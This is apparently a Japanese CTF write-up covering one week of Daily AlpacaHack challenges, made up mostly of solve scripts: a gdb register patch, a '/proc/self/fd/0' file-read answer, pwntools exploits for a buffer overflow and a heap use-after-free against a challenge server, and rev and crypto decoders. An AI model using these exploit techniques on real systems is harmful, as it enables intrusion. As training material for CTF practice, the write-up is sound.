Daily AlpacaHack Week3 (2025-12-15 ~ 2025-12-21)

Daily AlpacaHack の Writeup.
(2025/12/15 - 2025/12/21)

後から解いたものなど含むまとめ.

Flag Printer 2100 (Rev, 2025/12/15)

import gdb
# gdb -q ./print_flag -x ./solve.py

# avoid pagination confirm prompt
gdb.execute("set pagination off")
gdb.execute("set confirm off")

class testBP(gdb.Breakpoint):
    def __init__(self, spec):
        super().__init__(spec)
        self.silent = True
    
    def stop(self):
        frame = gdb.selected_frame()
        gdb.execute("set $rdi=0")

testBP(spec=r"*main+28")

gdb.execute("run")
gdb.execute("quit")
        

🐈 (Web, 2025/12/16)

/proc/self/fd/0
        

login-bonus (Pwn, 2025/12/17)

from pwn import *

is_remote = True
if is_remote:
    _, host, port = "nc 34.170.146.252 51262".split()
    sh = remote(host, port)
else:
    sh = process("./login")

prompt = sh.recvuntil("Password:".encode())
print(prompt.decode())

payload = "a".encode() * 0x1f # password
payload += b"\x00"
payload += "a".encode() * 0x1f # secret
payload += b"\x00"
sh.sendline(payload)

sh.interactive()
        

Twilight (Rev, 2025/12/18)

with open("./out.txt", "r") as f:
    out = [int(x.strip(","), 16) for x in f.read().split()]

flag = ""

for i, itr_hex in enumerate(out):
    if i % 2 == 0:
        flag += chr(itr_hex - i)
    else:
        flag += chr(itr_hex ^ i)
        
print(flag)
        

alloc-101 (Pwn, 2025/12/19)

from pwn import *

elf = ELF("./chall")
context.binary = elf

is_remote = True
if is_remote:
    _, host, port = "nc 34.170.146.252 34831".split()
    sh = remote(host, port)
else:
    sh = remote("localhost", 9999)
    
prompt = sh.recvuntil("choice>".encode())
print(prompt.decode())

# choice 1
sh.sendline("1".encode())

prompt = sh.recvuntil("size>".encode())
print(prompt.decode())

sh.sendline(str(32).encode())

prompt = sh.recvuntil("choice>".encode())
print(prompt.decode())

# choice 2
sh.sendline("2".encode())

prompt = sh.recvuntil("choice>".encode())
print(prompt.decode())

# choice 4
sh.sendline("4".encode())

prompt = sh.recvuntil("choice>".encode())
print(prompt.decode())

# read
sh.sendline("3".encode())

sh.interactive()
        

omikuji (Web, 2025/12/20)

RSA debug (Crypto, 2025/12/21)

def my_pow(a, n, m):
    result = 1
    while n > 0:
        if n % 2 != 0:
            result = (result + a) % m # omg! 
        a = (a + a) % m # oops!
        n = n // 2
    return result
        
from Crypto.Util.number import inverse, long_to_bytes

with open("output.txt", "r") as f:
    contents = f.readlines()
    N = int(contents[0].split()[-1])
    e = int(contents[1].split()[-1])
    c = int(contents[2].split()[-1])
    
flag_int = ((c-1)*inverse(e,N)) % N

flag = long_to_bytes(flag_int)
print(flag)